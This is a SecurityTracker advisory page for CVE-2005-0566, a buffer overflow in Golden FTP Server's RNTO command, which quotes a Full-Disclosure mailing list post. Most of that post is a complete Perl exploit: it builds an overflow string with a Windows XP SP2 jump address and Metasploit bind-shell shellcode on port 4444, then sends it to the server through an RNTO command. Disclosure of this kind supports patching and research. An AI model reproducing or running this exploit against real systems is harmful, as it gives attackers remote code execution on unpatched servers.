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Category:   Application (File Transfer/Sharing)  >   Golden FTP Server Vendors:   KMiNT21 Software
Golden FTP Server Buffer Overflow in RNTO Command Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1012973
SecurityTracker URL:  http://securitytracker.com/id/1012973
CVE Reference:   CVE-2005-0566   (Links to External Site)
Updated:  Feb 28 2005
Original Entry Date:  Jan 24 2005
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): prior to 2.05b
Description:   A vulnerability was reported in Golden FTP Server. A remote user can execute arbitrary code.

Barabas reported that a remote user can send a specially crafted RNTO command to execute arbitrary code on the target server.

Impact:   A remote user can execute arbitrary code on the target system with the privileges of the target FTP service.
Solution:   The vendor has released a fixed version (2.05b), available at:

http://www.goldenftpserver.com/download.html

Vendor URL:  www.goldenftpserver.com/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-Disclosure] several BO's in goldenftpd


For the millions that use this ftp server:
http://www.goldenftpserver.com/


It has numerous cool features, like no authentication whatsoever,
typos in error messages, buffer overflows etc...
I just opened it up when my dog jumped on the keyboard and
accidentally send a specially crafted packet to localhost and..BAM...a
shell on port 4444.
Luckily I had ethereal running and here it is:
Oh yeah, vendor notified and fixed it (hopefully, didnt check)


#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444

use strict;
use Net::FTP;
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind -  EXITFUNC=seh LPORT=4444 Size=321 Encoder=None
http://metasploit.com
$payload .="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";


my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload);
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
 


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